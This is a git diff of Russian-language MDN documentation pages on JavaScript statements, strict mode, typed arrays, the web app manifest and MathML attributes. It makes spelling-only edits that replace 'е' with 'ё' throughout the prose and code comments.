@@ -86,7 +86,7 @@ catch (e) {
 }
 
        
 
-
        Блок catch задает идентификатор (e в примере выше) который содержит объект исключения (в примере выше — значение, переданное оператору throw). Область видимости этого объекта ограничивается блоком catch.
        
+
        Блок catch задаёт идентификатор (e в примере выше) который содержит объект исключения (в примере выше — значение, переданное оператору throw). Область видимости этого объекта ограничивается блоком catch.
        
 
 
        Условный блок catch
        
 
diff --git a/files/ru/web/javascript/reference/statements/var/index.html b/files/ru/web/javascript/reference/statements/var/index.html
index fd0ca7f862..78b2f5edcd 100644
--- a/files/ru/web/javascript/reference/statements/var/index.html
+++ b/files/ru/web/javascript/reference/statements/var/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Statements/var
 ---
 
        {{jsSidebar("Statements")}}
        
 
-
        Оператор var объявляет переменную, инициализируя ее, при необходимости.
        
+
        Оператор var объявляет переменную, инициализируя её, при необходимости.
        
 
 
        {{EmbedInteractiveExample("pages/js/statement-var.html")}}
        
 
@@ -80,7 +80,7 @@ bla = 2;
 
 
        Поэтому объявление переменных рекомендовано выносить в начало их области видимости (в начало глобального кода или в начало функции). Это даёт понять какие переменные принадлежат функции (т.е. являются локальными), а какие обрабатываются в цепи областей видимости (т.е. являются глобальными).
        
 
-
        Важно отметить, что подъем будет влиять на объявление переменной, но не на инициализацию ее значения. Значение присваивается при выполнении оператора присваивания:
        
+
        Важно отметить, что подъем будет влиять на объявление переменной, но не на инициализацию её значения. Значение присваивается при выполнении оператора присваивания:
        
 
 
        function do_something() {
   console.log(bar); // выведет undefined
@@ -153,7 +153,7 @@ console.log(x, y);
        
 
 
        var x = 0;  // x объявлена глобально, затем присваивается значение 0
 
-console.log(typeof z); // undefined, пока еще z не существует
+console.log(typeof z); // undefined, пока ещё z не существует
 
 function a() { // когда функция a вызвана,
   var y = 2;   // y объявляется локально в функции a, затем присваивается 2
@@ -163,10 +163,10 @@ function a() { // когда функция a вызвана,
   function b() {       // когда функция b вызвана
     x = 3;  // присваивается 3 существующей глобальной x
     y = 4;  // присваивается 4 существующей внешней y
-    z = 5;  // создается новая глобальная переменная z и присваивается значение 5.
+    z = 5;  // создаётся новая глобальная переменная z и присваивается значение 5.
   }         // (Порождает ReferenceError в strict mode(строгом режиме).)
 
-  b();     // вызов b создает z как глобальную переменную
+  b();     // вызов b создаёт z как глобальную переменную
   console.log(x, y, z);  // 3 4 5
 }
 
diff --git a/files/ru/web/javascript/reference/statements/while/index.html b/files/ru/web/javascript/reference/statements/while/index.html
index 1baf54a1f4..4c367fc488 100644
--- a/files/ru/web/javascript/reference/statements/while/index.html
+++ b/files/ru/web/javascript/reference/statements/while/index.html
@@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Reference/Statements/while
 ---
 
        {{jsSidebar("Statements")}}
        
 
-
        Оператор while создает цикл, выполняющий заданную инструкцию, пока истинно проверяемое условие. Логическое значение условия вычисляется перед исполнением тела цикла.
        
+
        Оператор while создаёт цикл, выполняющий заданную инструкцию, пока истинно проверяемое условие. Логическое значение условия вычисляется перед исполнением тела цикла.
        
 
 
        Синтаксис
        
 
diff --git a/files/ru/web/javascript/reference/statements/with/index.html b/files/ru/web/javascript/reference/statements/with/index.html
index 208863d500..e28aedee90 100644
--- a/files/ru/web/javascript/reference/statements/with/index.html
+++ b/files/ru/web/javascript/reference/statements/with/index.html
@@ -32,7 +32,7 @@ translation_of: Web/JavaScript/Reference/Statements/with
 
 
        Pro: Оператор with может помочь уменьшить размер файла, уменьшив необходимость повторять длинную ссылку на объект без снижения производительности.  Изменение цепочки контекста, необходимое для 'with', не требует больших вычислительных затрат.  Использование 'with' избавит интерпретатор от разбора повторных ссылок на объекты. Однако, обратите внимание, что во многих случаях это преимущество может быть достигнуто с помощью временной переменной для хранения ссылки на нужный объект.
        
 
-
        Contra: Оператор with заставляет указанный объект быть найденным сначала среди всех имен поиска.  Поэтому все идентификаторы, которые не относятся к указанному объекту, будут обнаруживаться медленнее в блоке «with.  Там, где важна производительность, «with» следует использовать только для охвата блоков кода, которые обращаются к членам указанного объекта.
        
+
        Contra: Оператор with заставляет указанный объект быть найденным сначала среди всех имён поиска.  Поэтому все идентификаторы, которые не относятся к указанному объекту, будут обнаруживаться медленнее в блоке «with.  Там, где важна производительность, «with» следует использовать только для охвата блоков кода, которые обращаются к членам указанного объекта.
        
 
 
        Ambiguity contra
        
 
diff --git a/files/ru/web/javascript/reference/strict_mode/index.html b/files/ru/web/javascript/reference/strict_mode/index.html
index 7b35f93897..fbf4446b55 100644
--- a/files/ru/web/javascript/reference/strict_mode/index.html
+++ b/files/ru/web/javascript/reference/strict_mode/index.html
@@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Strict_mode
 ---
 
        {{JsSidebar("More")}}
        
 
-
        Режим strict (строгий режим), введенный в ECMAScript 5, позволяет использовать более строгий вариант JavaScript. Это не просто подмножество языка: в нем сознательно используется семантика, отличающаяся от обычно принятой. Не поддерживающие строгий режим браузеры будут по-другому выполнять код, написанный для строгого режима, поэтому не полагайтесь на строгий режим без тестирования поддержки используемых особенностей этого режима. Строгий и обычный режим могут сосуществовать одновременно, а скрипт может переключаться в строгий режим по мере надобности.
        
+
        Режим strict (строгий режим), введённый в ECMAScript 5, позволяет использовать более строгий вариант JavaScript. Это не просто подмножество языка: в нем сознательно используется семантика, отличающаяся от обычно принятой. Не поддерживающие строгий режим браузеры будут по-другому выполнять код, написанный для строгого режима, поэтому не полагайтесь на строгий режим без тестирования поддержки используемых особенностей этого режима. Строгий и обычный режим могут сосуществовать одновременно, а скрипт может переключаться в строгий режим по мере надобности.
        
 
 
        Строгий режим принёс ряд изменений в обычную семантику JavaScript. Во-первых, строгий режим заменяет исключениями некоторые ошибки, которые интерпретатор JavaScript ранее молча пропускал. Во-вторых, строгий режим исправляет ошибки, которые мешали движкам JavaScript выполнять оптимизацию -- в некоторых случаях код в строгом режиме может быть оптимизирован для более быстрого выполнения, чем код в обычном режиме. В-третьих, строгий режим запрещает использовать некоторые элементы синтаксиса, которые, вероятно, в следующих версиях ECMAScript получат особый смысл.
        
 
@@ -18,11 +18,11 @@ translation_of: Web/JavaScript/Reference/Strict_mode
 
 
        Активизация строгого режима
        
 
-
        Строгий режим применяется ко всему скрипту или к отдельным функциям. Он не может быть применён к блокам операторов, заключенных в фигурные скобки -- попытка использовать его в подобном контексте будет проигнорирована. Код в eval, Function, в атрибутах обработчиков событий, в строках, переданных в setTimeout, и т.п. рассматривается как законченный скрипт, и активизация строгого режима в нём выполняется ожидаемым образом.
        
+
        Строгий режим применяется ко всему скрипту или к отдельным функциям. Он не может быть применён к блокам операторов, заключённых в фигурные скобки -- попытка использовать его в подобном контексте будет проигнорирована. Код в eval, Function, в атрибутах обработчиков событий, в строках, переданных в setTimeout, и т.п. рассматривается как законченный скрипт, и активизация строгого режима в нём выполняется ожидаемым образом.
        
 
 
        Строгий режим для скриптов
        
 
-
        Чтобы активизировать строгий режим для всего скрипта, нужно поместить оператор "use strict"; или 'use strict'; перед всеми остальными операторами скрипта (выдержать приведенный синтаксис буквально).
        
+
        Чтобы активизировать строгий режим для всего скрипта, нужно поместить оператор "use strict"; или 'use strict'; перед всеми остальными операторами скрипта (выдержать приведённый синтаксис буквально).
        
 
 
        // Синтаксис переключения в строгий режим всего скрипта
 "use strict";
@@ -74,11 +74,11 @@ mistypeVaraible = 17; // mistypedVaraible, эта строка выбросит
 
 
        "use strict";
 
-// Присваивание значения глобальной переменной, защищенной от записи
+// Присваивание значения глобальной переменной, защищённой от записи
 var undefined = 5; // выдаст TypeError
 var Infinity = 5; // выдаст TypeError
 
-// Присваивание значения свойству, защищенному от записи
+// Присваивание значения свойству, защищённому от записи
 var obj1 = {};
 Object.defineProperty(obj1, "x", { value: 42, writable: false });
 obj1.x = 9; // выдаст TypeError
@@ -133,7 +133,7 @@ var sum = 015 + // !!! синтаксическая ошибка
 console.log(sumWithOctal); // 16
 
        
 
-
        В-седьмых, строгий режим в ECMAScript 2015 запрещает установку свойств {{Glossary("primitive")}} значениям. Без строгого режима, установка свойств просто игнорируется (no-op), со строгим режимом, однако, выдает {{jsxref ("TypeError")}}.
        
+
        В-седьмых, строгий режим в ECMAScript 2015 запрещает установку свойств {{Glossary("primitive")}} значениям. Без строгого режима, установка свойств просто игнорируется (no-op), со строгим режимом, однако, выдаёт {{jsxref ("TypeError")}}.
        
 
 
        (function() {
 'use strict';
@@ -146,7 +146,7 @@ false.true = '';         // TypeError
 
 
        Упрощение работы с переменными
        
 
-
        Строгий режим упрощает сопоставление имени переменной с местом ее определения в коде. Многие оптимизации времени компиляции полагаются на возможность считать, что переменная X хранится в этом конкретном месте исходного кода. Иногда, при компиляции JavaScript простое сопоставление имени переменной с местом ее определения в коде не возможно, без выполнения того самого кода. Строгий же режим исключает большинство таких случаев, благодаря чему оптимизации компилятора работают эффективнее.
        
+
        Строгий режим упрощает сопоставление имени переменной с местом её определения в коде. Многие оптимизации времени компиляции полагаются на возможность считать, что переменная X хранится в этом конкретном месте исходного кода. Иногда, при компиляции JavaScript простое сопоставление имени переменной с местом её определения в коде не возможно, без выполнения того самого кода. Строгий же режим исключает большинство таких случаев, благодаря чему оптимизации компилятора работают эффективнее.
        
 
 
        Во-первых, строгий режим запрещает использование with. Проблема с with в том, что во время выполнения любое имя внутри блока может ссылаться как на свойство обрабатываемого объекта, так и на переменную в окружающем (или даже в глобальном) контексте -- невозможно знать об этом заранее. Строгий режим считает with синтаксической ошибкой, поэтому не остаётся шанса использовать имя переменной внутри with для ссылки на неизвестное место во время выполнения:
        
 
@@ -206,7 +206,7 @@ eval('var y; delete y;'); // !!!         синтаксическая ошибк
 
 
        Упрощение eval и arguments
        
 
-
        В строгом режиме снижается количество странностей в поведении arguments и eval, оба из которых примешивают определённое количество магии в обычный код. Так eval добавляет или удаляет переменные и меняет их значения, а переменная arguments может удивить своими проиндексированными свойствами, которые являются ссылками (синонимами) для поименованных аргументов функции. Строгий режим делает большой шаг в прояснении этих двух ключевых слов, но полное их обуздание произойдет лишь в следующей редакции ECMAScript.
        
+
        В строгом режиме снижается количество странностей в поведении arguments и eval, оба из которых примешивают определённое количество магии в обычный код. Так eval добавляет или удаляет переменные и меняет их значения, а переменная arguments может удивить своими проиндексированными свойствами, которые являются ссылками (синонимами) для поименованных аргументов функции. Строгий режим делает большой шаг в прояснении этих двух ключевых слов, но полное их обуздание произойдёт лишь в следующей редакции ECMAScript.
        
 
 
        Во-первых, ключевые слова eval и arguments не могут быть переопределены или изменены. Все подобные попытки это сделать являются синтаксическими ошибками:
        
 
@@ -235,7 +235,7 @@ console.assert(pair[0] === 42);
 console.assert(pair[1] === 17);
 
        
 
-
        В-третьих, свойство arguments.callee больше не поддерживается. В обычном коде свойство arguments.callee ссылается на саму функцию для вызова которой и был создан объект arguments. Малоприменимое свойство, так как функция заранее известна, и к ней можно обратиться и по ее имени непосредственно. Более того, arguments.callee значительно затрудняет такую оптимизацию, как инлайнинг, потому как должна быть сохранена возможность обратиться к незаинлайненой функции на случай, если присутствует обращение к arguments.callee. В строгом режиме arguments.callee превращается в неудаляемое свойство, которое выбрасывает предостерегающее исключение при любой попытке обращения к нему:
        
+
        В-третьих, свойство arguments.callee больше не поддерживается. В обычном коде свойство arguments.callee ссылается на саму функцию для вызова которой и был создан объект arguments. Малоприменимое свойство, так как функция заранее известна, и к ней можно обратиться и по её имени непосредственно. Более того, arguments.callee значительно затрудняет такую оптимизацию, как инлайнинг, потому как должна быть сохранена возможность обратиться к незаинлайненой функции на случай, если присутствует обращение к arguments.callee. В строгом режиме arguments.callee превращается в неудаляемое свойство, которое выбрасывает предостерегающее исключение при любой попытке обращения к нему:
        
 
 
        "use strict";
 var f = function() { return arguments.callee; };
@@ -244,7 +244,7 @@ f(); // выдаст TypeError
 
 
        "Безопасный" JavaScript
        
 
-
        Строгий режим упрощает написание "безопасного" JavaScript кода. Сейчас некоторые веб-сайты предоставляют пользователям возможность писать JavaScript, который будет выполняться на сайте от имени других пользователей. В браузерах, JavaScript может иметь доступ к приватной информации пользователя, поэтому, в целях ограничения доступа к запретной функциональности, такой JavaScript перед выполнением должен быть частично преобразован. Гибкость JavaScript делает это практически невозможным без многочисленных проверок во время исполнения. Функционал, исполняемый языком иногда столь массивен, что выполнение любых дополнительных проверок во время исполнения скрипта приведет к значительной потере производительности. Однако, некоторые особенности строгого режима, плюс обязательное требование того, чтобы JavaScript, загруженный пользователем, имел строгий режим и вызывался определенным способом, существенно снижают потребность в таких проверках.
        
+
        Строгий режим упрощает написание "безопасного" JavaScript кода. Сейчас некоторые веб-сайты предоставляют пользователям возможность писать JavaScript, который будет выполняться на сайте от имени других пользователей. В браузерах, JavaScript может иметь доступ к приватной информации пользователя, поэтому, в целях ограничения доступа к запретной функциональности, такой JavaScript перед выполнением должен быть частично преобразован. Гибкость JavaScript делает это практически невозможным без многочисленных проверок во время исполнения. Функционал, исполняемый языком иногда столь массивен, что выполнение любых дополнительных проверок во время исполнения скрипта приведёт к значительной потере производительности. Однако, некоторые особенности строгого режима, плюс обязательное требование того, чтобы JavaScript, загруженный пользователем, имел строгий режим и вызывался определённым способом, существенно снижают потребность в таких проверках.
        
 
 
        Во-первых, значение, передаваемое в функцию как this, в строгом режиме не приводится к объекту (не "упаковывается"). В обычной функции this всегда представляет собой объект: либо это непосредственно объект, в случае вызова с this, представляющим объект-значение; либо значение, упакованное в объект, в случае вызова с this типа Boolean, string, или number; либо глобальный объект, если тип this это undefined или null. (Для точного определения конкретного this используйте {{jsxref('Global_Objects/Function/call', 'call')}}, {{jsxref('Global_Objects/Function/apply', 'apply')}}, или {{jsxref('Global_Objects/Function/bind', 'bind')}}.) Автоматическая упаковка не только снижает производительность, но и выставляет на показ глобальный объект, что в браузерах является угрозой безопасности, потому что глобальный объект предоставляет доступ к функциональности, которая должна быть ограничена в среде "безопасного" JavaScript. Таким образом, для функции в строгом режиме точно определённый this не упаковывается в объект, а если не определён точно, this является undefined:
        
 
@@ -304,7 +304,7 @@ function fun(static) { 'use strict'; } // !!!
 
 
        
 
-
        Два замечания, специфичных для Mozilla: Первое, если ваш код создан на JavaScript 1.7 или выше (например, chrome code, или тег <script type=""> заполнен правильно), и применен строгий режим, то let и yield имеют ту же функциональность, которая у них была изначально, когда они только появились. Однако в веб, в строгом коде загруженном через <script src=""> или <script>...</script>, нельзя будет использовать let/yield в качестве идентификаторов. Второе, в то время как ES5 зарезервировал слова class, enum, export, extends, import и super для любого режима, в Firefox 5 Mozilla они были зарезервированы намного раньше и лишь для строгого режима.
        
+
        Два замечания, специфичных для Mozilla: Первое, если ваш код создан на JavaScript 1.7 или выше (например, chrome code, или тег <script type=""> заполнен правильно), и применён строгий режим, то let и yield имеют ту же функциональность, которая у них была изначально, когда они только появились. Однако в веб, в строгом коде загруженном через <script src=""> или <script>...</script>, нельзя будет использовать let/yield в качестве идентификаторов. Второе, в то время как ES5 зарезервировал слова class, enum, export, extends, import и super для любого режима, в Firefox 5 Mozilla они были зарезервированы намного раньше и лишь для строгого режима.
        
 
 
        Во-вторых, в строгом режиме запрещается объявление функций глубже самого верхнего уровня скрипта или функции. В обычном коде в браузерах, объявление функций позволено "везде", что не является частью ES5 (или даже ES3!) Это расширение различных браузеров, не имеющее общего совместимого подхода. Есть надежда, что в последующих редакциях ECMAScript будет определена новая семантика для объявления функций вне верхнего уровня скрипта или функции. Запрет на объявление таких функций в строгом режиме производит "зачистку" для спецификации в будущем релизе ECMAScript:
        
 
@@ -326,7 +326,7 @@ function baz() { // верно
 
 
        Строгий режим в браузерах
        
 
-
        В большинстве браузеров в настоящее время строгий режим реализован. Однако не стоит впадать в слепую зависимость от него, потому что существует множество Версий браузеров, поддерживающих строгий режим лишь частично или вовсе не поддерживающих оный (например, Internet Explorer ниже версии 10!). Строгий режим изменяет семантику. Надежда на эти изменения приведет к ошибкам и погрешностям в браузерах, в которых строгий режим не реализован. Проявляйте осторожность при использовании строгого режима, и подкрепляйте надежность строгого режима тестами особенностей, которые проверяют, насколько верно реализованы его фрагменты. Наконец, старайтесь тестировать свой код в браузерах, как поддерживающих, так и не поддерживающих строгий режим. Если вы проводите тестирование только в тех браузерах, которые не поддерживают строгий режим, то вполне вероятно у вас появятся проблемы в браузерах, его поддерживающих, и наоборот.
        
+
        В большинстве браузеров в настоящее время строгий режим реализован. Однако не стоит впадать в слепую зависимость от него, потому что существует множество Версий браузеров, поддерживающих строгий режим лишь частично или вовсе не поддерживающих оный (например, Internet Explorer ниже версии 10!). Строгий режим изменяет семантику. Надежда на эти изменения приведёт к ошибкам и погрешностям в браузерах, в которых строгий режим не реализован. Проявляйте осторожность при использовании строгого режима, и подкрепляйте надёжность строгого режима тестами особенностей, которые проверяют, насколько верно реализованы его фрагменты. Наконец, старайтесь тестировать свой код в браузерах, как поддерживающих, так и не поддерживающих строгий режим. Если вы проводите тестирование только в тех браузерах, которые не поддерживают строгий режим, то вполне вероятно у вас появятся проблемы в браузерах, его поддерживающих, и наоборот.
        
 
 
        Спецификации
        
 
diff --git a/files/ru/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html b/files/ru/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html
index 5447834c4b..4c4b882462 100644
--- a/files/ru/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html
+++ b/files/ru/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html
@@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mod
 ---
 
        {{jsSidebar("More")}}
        
 
-
        В ECMAScript 5 введен {{jsxref('Strict_mode', 'строгий режим')}}, который реализован во всех основных браузерах (включая IE10). В то время как включение интерпретации браузерами кода в строгом режиме делается очень просто (достаточно добавить "use strict"; в верхней части вашего исходного кода), для адаптации уже существующего кода к строгому режиму потребуется немного больше работы.
        
+
        В ECMAScript 5 введён {{jsxref('Strict_mode', 'строгий режим')}}, который реализован во всех основных браузерах (включая IE10). В то время как включение интерпретации браузерами кода в строгом режиме делается очень просто (достаточно добавить "use strict"; в верхней части вашего исходного кода), для адаптации уже существующего кода к строгому режиму потребуется немного больше работы.
        
 
 
        Цель этой статьи: предоставить для разработчиков руководство по переходу к строгому режиму.
        
 
@@ -105,15 +105,15 @@ s.opacity = 1;
 
 
        this в вызовах функции
        
 
-
        В функциях как f(), значением this является глобальный объект. В строгом режиме он теперь равен undefined. Когда функция вызывалась с помощью {{jsxref('Global_Objects/Function/call', 'call')}} или {{jsxref('Global_Objects/Function/apply', 'apply')}}, если значением был примитив, он упаковывался в соответствующий объект (или в глобальный объект для undefined и null). В строгом режиме значение передается без каких-либо преобразований и замен.
        
+
        В функциях как f(), значением this является глобальный объект. В строгом режиме он теперь равен undefined. Когда функция вызывалась с помощью {{jsxref('Global_Objects/Function/call', 'call')}} или {{jsxref('Global_Objects/Function/apply', 'apply')}}, если значением был примитив, он упаковывался в соответствующий объект (или в глобальный объект для undefined и null). В строгом режиме значение передаётся без каких-либо преобразований и замен.
        
 
 
        arguments не является псевдонимом именованных аргументов функции
        
 
-
        В нестрогом режиме изменение значения в объекте arguments изменяло соответствующий именованный аргумент функции. Это усложняло оптимизацию кода для движков JavaScript и сам код становился менее читабельным и понятным. В строгом режиме объект arguments создается и инициализируется с теми же значениями, что и именованные аргументы, но изменения объекта arguments или именованных аргументов теперь никак не влияют друг на друга.
        
+
        В нестрогом режиме изменение значения в объекте arguments изменяло соответствующий именованный аргумент функции. Это усложняло оптимизацию кода для движков JavaScript и сам код становился менее читабельным и понятным. В строгом режиме объект arguments создаётся и инициализируется с теми же значениями, что и именованные аргументы, но изменения объекта arguments или именованных аргументов теперь никак не влияют друг на друга.
        
 
 
        Изменения в eval
        
 
-
        В строгом режиме eval не создает новой переменной в той области видимости, где был вызван. Также, конечно, в строгом режиме, строка выполняется с правилами строгого режима. Потребуется провести тщательное тестирование, чтобы убедиться, что ничего не сломалось. Не использовать eval, если он вам действительно не нужен, может быть другим прагматичным решением.
        
+
        В строгом режиме eval не создаёт новой переменной в той области видимости, где был вызван. Также, конечно, в строгом режиме, строка выполняется с правилами строгого режима. Потребуется провести тщательное тестирование, чтобы убедиться, что ничего не сломалось. Не использовать eval, если он вам действительно не нужен, может быть другим прагматичным решением.
        
 
 
        Строго-нейтральный код
        
 
diff --git a/files/ru/web/javascript/typed_arrays/index.html b/files/ru/web/javascript/typed_arrays/index.html
index d55e398573..82b7830b90 100644
--- a/files/ru/web/javascript/typed_arrays/index.html
+++ b/files/ru/web/javascript/typed_arrays/index.html
@@ -5,23 +5,23 @@ translation_of: Web/JavaScript/Typed_arrays
 ---
 
        {{JsSidebar("Advanced")}}
        
 
-
        Типизированные массивы в JavaScript являются массива-подобными объектами, предоставляющими механизм доступа к сырым двоичным данным. Как вы уже можете знать, массив {{jsxref("Array")}} растет и обрезается динамически, и может содержать элементы любого типа JavaScript. Благодаря оптимизациям JavaScript движков, массивы остаются быстрыми. Однако, со временем, веб-приложения становятся все более и более мощными, появляется необходимость работы с аудио- и видео-данными, требуется доступ к сырым данным WebSocket, и так далее. Становится очевидным, что возможность быстрой и эффективной работы с двоичными данными в JavaScript будет очень полезной, для чего типизированные массивы и предназначены.
        
+
        Типизированные массивы в JavaScript являются массива-подобными объектами, предоставляющими механизм доступа к сырым двоичным данным. Как вы уже можете знать, массив {{jsxref("Array")}} растёт и обрезается динамически, и может содержать элементы любого типа JavaScript. Благодаря оптимизациям JavaScript движков, массивы остаются быстрыми. Однако, со временем, веб-приложения становятся все более и более мощными, появляется необходимость работы с аудио- и видео-данными, требуется доступ к сырым данным WebSocket, и так далее. Становится очевидным, что возможность быстрой и эффективной работы с двоичными данными в JavaScript будет очень полезной, для чего типизированные массивы и предназначены.
        
 
-
        Не следует путать типизированные массивы с обычными массивами: так, например, вызов {{jsxref("Array.isArray()")}} для типизированного массива вернет false. Более того, не все методы, доступные для обычных массивов поддерживаются типизированными массивами (например, push и pop).
        
+
        Не следует путать типизированные массивы с обычными массивами: так, например, вызов {{jsxref("Array.isArray()")}} для типизированного массива вернёт false. Более того, не все методы, доступные для обычных массивов поддерживаются типизированными массивами (например, push и pop).
        
 
 
        Буферы и представления: архитектура типизированных массивов
        
 
-
        Для достижения максимальной гибкости и производительности, реализация типизированных массивов в JavaScript разделена на буферы и представления. Буфер (ArrayBuffer) –– это объект, представляющий из себя набор данных. Он не имеет формата и не предоставляет возможности доступа к своему содержимому. Для доступа к памяти буфера вам нужно использовать представление. Представление предоставляет контекст: тип данных, начальную позицию в буфере и количество элементов. Это позволяет представить данные в виде типизированного массива.
        
+
        Для достижения максимальной гибкости и производительности, реализация типизированных массивов в JavaScript разделена на буферы и представления. Буфер (ArrayBuffer) –– это объект, представляющий из себя набор данных. Он не имеет формата и не предоставляет возможности доступа к своему содержимому. Для доступа к памяти буфера вам нужно использовать представление. Представление предоставляет контекст: тип данных, начальную позицию в буфере и количество элементов. Это позволяет представить данные в виде типизированного массива.
        
 
 
        Typed arrays in an ArrayBuffer
        
 
 
        ArrayBuffer
        
 
-
        Объект ArrayBuffer –– это набор бинарных данных с фиксированной длинной. Вы не можете манипулировать содержимым ArrayBuffer напрямую. Вместо этого, необходимо создать типизированное представление DataView, которое будет отображать буфер в определенном формате, и даст доступ на запись и чтение его содержимого.
        
+
        Объект ArrayBuffer –– это набор бинарных данных с фиксированной длинной. Вы не можете манипулировать содержимым ArrayBuffer напрямую. Вместо этого, необходимо создать типизированное представление DataView, которое будет отображать буфер в определённом формате, и даст доступ на запись и чтение его содержимого.
        
 
 
        Типизированные представления
        
 
-
        Название типизированного представления массива говорит само за себя. Оно представляет массив в распространенных числовых форматах, таких как  Int8, Uint32, Float64 и так далее. Среди прочих, существует специальное представление Uint8ClampedArray. Оно ограничивает значения интервалом от 0 до 255. Это полезно, например, при Обработке данных изображения в Canvas.
        
+
        Название типизированного представления массива говорит само за себя. Оно представляет массив в распространённых числовых форматах, таких как  Int8, Uint32, Float64 и так далее. Среди прочих, существует специальное представление Uint8ClampedArray. Оно ограничивает значения интервалом от 0 до 255. Это полезно, например, при Обработке данных изображения в Canvas.
        
 
 
        {{page("/ru/docs/Web/JavaScript/Reference/Global_Objects/TypedArray", "Объект TypedArray")}}
        
 
@@ -74,7 +74,7 @@ translation_of: Web/JavaScript/Typed_arrays
 
 
        Множество представлений для одних и тех же данных
        
 
-
        Всё становится намного интереснее, если создать несколько разных представлений для одного и того же буфера. Например, приведенный выше код можно дополнить следующим образом:
        
+
        Всё становится намного интереснее, если создать несколько разных представлений для одного и того же буфера. Например, приведённый выше код можно дополнить следующим образом:
        
 
 
        var int16View = new Int16Array(buffer);
 
@@ -83,7 +83,7 @@ for (var i = 0; i < int16View.length; i++) {
 }
 
        
 
-
        Здесь мы создаем 16-битное целочисленное представление, которое ссылается на тот же самый буфер, что и 32-битное представление, и затем выводим все 16-битные элементы этого представления. Мы получим следующий вывод: 0, 0, 2, 0, 4, 0, 6, 0.
        
+
        Здесь мы создаём 16-битное целочисленное представление, которое ссылается на тот же самый буфер, что и 32-битное представление, и затем выводим все 16-битные элементы этого представления. Мы получим следующий вывод: 0, 0, 2, 0, 4, 0, 6, 0.
        
 
 
        Можно пойти дальше. Оцените этот код:
        
 
@@ -115,9 +115,9 @@ var idView = new Uint32Array(buffer, 0, 1);
 var usernameView = new Uint8Array(buffer, 4, 16);
 var amountDueView = new Float32Array(buffer, 20, 1);
        
 
-
        Теперь получить или изменить значение поля amountDue, к примеру, можно путем обращения к amountDueView[0].
        
+
        Теперь получить или изменить значение поля amountDue, к примеру, можно путём обращения к amountDueView[0].
        
 
-
        Примечание: Выравнивание данных в языке C является платформозависимым. Принимайте меры по вычислению правильных отступов в данных с учетом выравнивания.
        
+
        Примечание: Выравнивание данных в языке C является платформозависимым. Принимайте меры по вычислению правильных отступов в данных с учётом выравнивания.
        
 
 
        Преобразование в обычные массивы
        
 
diff --git a/files/ru/web/manifest/background_color/index.html b/files/ru/web/manifest/background_color/index.html
index 98b745c6a3..5fa076ac51 100644
--- a/files/ru/web/manifest/background_color/index.html
+++ b/files/ru/web/manifest/background_color/index.html
@@ -29,7 +29,7 @@ translation_of: Web/Manifest/background_color
  
 
 
-
        background_color определяет ожидаемый цвет фона для веб-приложения. Это значение повторяет то, что уже доступно в стилях приложения, но может быть использовано браузерами для отрисовки цвета фона приложения после того, как манифест станет доступен, но до того, как стили загрузятся. Это создает плавный переход между запуском приложения и загрузкой содержимого приложения.
        
+
        background_color определяет ожидаемый цвет фона для веб-приложения. Это значение повторяет то, что уже доступно в стилях приложения, но может быть использовано браузерами для отрисовки цвета фона приложения после того, как манифест станет доступен, но до того, как стили загрузятся. Это создаёт плавный переход между запуском приложения и загрузкой содержимого приложения.
        
 
 
        Therefore background_color should match the {{cssxref("background-color")}} CSS property in the site’s stylesheet for a smooth transition between launching the web application and loading the site's content.
        
 
diff --git a/files/ru/web/manifest/icons/index.html b/files/ru/web/manifest/icons/index.html
index e9ba3bfe32..c7d608df08 100644
--- a/files/ru/web/manifest/icons/index.html
+++ b/files/ru/web/manifest/icons/index.html
@@ -73,7 +73,7 @@ translation_of: Web/Manifest/icons
  
   
    sizes
-   Строка, содержащая разделенные пробелами размеры изображения.
+   Строка, содержащая разделённые пробелами размеры изображения.
   
   
    src
@@ -94,7 +94,7 @@ translation_of: Web/Manifest/icons
 
     
          
      
        • badge: Пользовательский агент может представить этот значок там, где ограничения пространства и/или требования к цвету отличаются от таковых для значка приложения.
          • 
-     
        • maskable: Изображение разработано с учетом масок значков и безопасной зоны, так что пользовательский агент может безопасно игнорировать и маскировать любую часть изображения за пределами безопасной зоны.
          • 
+     
        • maskable: Изображение разработано с учётом масок значков и безопасной зоны, так что пользовательский агент может безопасно игнорировать и маскировать любую часть изображения за пределами безопасной зоны.
          • 
      
        • any: Пользовательский агент может отображать значок в любом контексте (это значение по умолчанию).
          • 
     
        
    
diff --git a/files/ru/web/manifest/index.html b/files/ru/web/manifest/index.html
index 1a7eb8beb4..a6dd7f70fb 100644
--- a/files/ru/web/manifest/index.html
+++ b/files/ru/web/manifest/index.html
@@ -82,7 +82,7 @@ translation_of: Web/Manifest
 
 
 
        
-
        Note: Если для получения манифеста требуются учетные данные - атрибут crossorigin должен иметь значение "use-credentials", даже если файл манифеста находится в том же источнике, что и текущая страница.
        
+
        Note: Если для получения манифеста требуются учётные данные - атрибут crossorigin должен иметь значение "use-credentials", даже если файл манифеста находится в том же источнике, что и текущая страница.
        
 
        
 
 
        Заставки
        
diff --git a/files/ru/web/manifest/related_applications/index.html b/files/ru/web/manifest/related_applications/index.html
index d2a9675c31..2eab4c4181 100644
--- a/files/ru/web/manifest/related_applications/index.html
+++ b/files/ru/web/manifest/related_applications/index.html
@@ -76,7 +76,7 @@ translation_of: Web/Manifest/related_applications
   
   
    id
-   ID, используемое для представления приложения на определенной платформе.
+   ID, используемое для представления приложения на определённой платформе.
   
  
 
diff --git a/files/ru/web/mathml/attribute/index.html b/files/ru/web/mathml/attribute/index.html
index e14849d222..4cb0ccfcc9 100644
--- a/files/ru/web/mathml/attribute/index.html
+++ b/files/ru/web/mathml/attribute/index.html
@@ -135,7 +135,7 @@ original_slug: Web/MathML/Атрибут
   
    display
    {{ MathMLElement("math") }}
-   Задает режим визуализации. Допускаются значения block и inline.
+   Задаёт режим визуализации. Допускаются значения block и inline.
   
   
    displaystyle
@@ -169,7 +169,7 @@ original_slug: Web/MathML/Атрибут
   
    {{ unimplemented_inline() }} form
    {{ MathMLElement("mo") }}
-   Задает роль оператора во вложенном выражении.
+   Задаёт роль оператора во вложенном выражении.
   
   
    frame
@@ -179,7 +179,7 @@ original_slug: Web/MathML/Атрибут
   
    framespacing
